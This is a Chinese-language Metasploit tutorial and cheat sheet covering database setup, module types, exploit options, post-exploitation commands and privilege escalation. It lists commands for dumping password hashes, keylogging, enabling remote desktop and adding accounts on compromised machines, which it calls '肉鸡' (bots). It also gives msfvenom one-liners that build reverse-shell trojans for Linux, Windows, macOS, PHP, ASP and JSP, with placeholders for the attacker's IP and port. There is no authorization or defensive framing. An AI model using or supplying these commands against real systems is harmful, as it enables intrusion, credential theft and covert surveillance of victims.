0x00 简介
Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。当H.D. Moore在2003年发布Metasploit时,计算机安全状况也被永久性地改变了。仿佛一夜之间,任何人都可以成为黑客,每个人都可以使用攻击工具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。软件厂商再也不能推迟发布针对已公布漏洞的补丁了,这是因为Metasploit团队一直都在努力开发各种攻击工具,并将它们贡献给所有Metasploit用户。
0x01 配置MSF的数据库
首先配置下MSF的数据库:可提升查询攻击模块的速度,以及利用速度
1.1 进入msf
查询数据库连接情况:发现默认情况下并未连接数据库
$msf> db_status
1.2 配置数据库
$service postgres enable $service postgres start $msfdb init
1.3 连接密码
看到上面的配置文件的提示,就可以通过文件地址,查看连接密码:
$cat /usr/share/metasploit-framework/config/database.yml
1.4 查询
知道密码后,再次进入msf,通过db_connect 查询如何写连接的命令:
1.5 连接
再用用账号密码去连,最后db_stause
查询下状态,发现连接正常
0x02 MSF模块分类
MSF的命名规则:模块/系统/服务/名称
MSF的模块,也就是我们看到的众多利用模块最前面的分类,主要有以下6个模块
- exploits(漏洞攻击模块列表,入侵式) - payloads(漏洞负载模块,入侵要做什么) - auxiliary(辅助模块,一般是没有攻击载荷的漏洞攻击) - encoders(编码器模块 用于msfvenom -e or msf执行时也能用的 指的是shellcode的编码) - nops(无操作生成器模块) - post(开发模块)
0x03 MSF使用流程
- 1.search name(查询相关漏洞编号) - 2.use exploits(使用模块) - 3.show options(攻击前设置变量) - 4.set payload(设置payload) - 5.exploit/run(运行)
0x04 MSF常用指令
unset 清空已经设置好的参数内容
0x05 Payload的类型
- _find_tag:在一个已建立的连接上 - _reverse_tcp:反向连接到攻击者主机 - bind_tcp:监听一个tcp连接 - reverse_http:通过HTTP隧道反向连接
0x06 exploit/run的参数
-e <opt> 要使用的有效载荷编码器。如果没有指定,则使用编码器。 -f 强制开发漏洞,而不考虑极小值的大小。 -h 帮助 -j 后台运行。。 -n <opt> 使用NOP发生器。如果没有指定,则使用NOP。 -o <opt> 在VAR= VALL格式中的逗号分隔选项列表。 -p <opt> 使用的有效载荷。如果没有指定,则使用有效载荷。 -t <opt> 要使用的目标索引或名称。如果没有指定,则使用目标。 -z 在成功开发后不与会话交互。
0x07 一些操作指令
sessions 查看所有肉鸡列表 session -l 查看肉鸡在线列表 exploit 执行渗透攻击或模块来攻击目标。 sessions -i 1 打开建立的第一个会话 getuid 查看UID sysinfo 查看攻击主机的系统信息 run hashdump dump目标主机的hash帐号信息,备份进行暴破 ps 查看目标主机进程 migrate 1576(pid) 切换自己为管理员,1576是管理员的进程ID keyscan_start 开启健盘记录功能 keyscan_dump 查看健盘记录信息 keyscan_stop 停止健盘记录 run getgui -e 远程开启目标主机的远程桌面 run getgui -u cisco -p cisco 远程添加目标主机帐号密码 rdesktop 192.168.1.100 连接远程桌面
0x08 MSF生成木马
8.1 List payloads:
msfvenom -l
8.2 系统型木马:
Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
8.3 网页型木马
PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
0x09 MSF提权
查询提权模块:
search exploit/windos/local
会列举出所有可用提权模块
通过use使用模块使用后,再设置payload,或通过修改已存在的session会话,进行使用。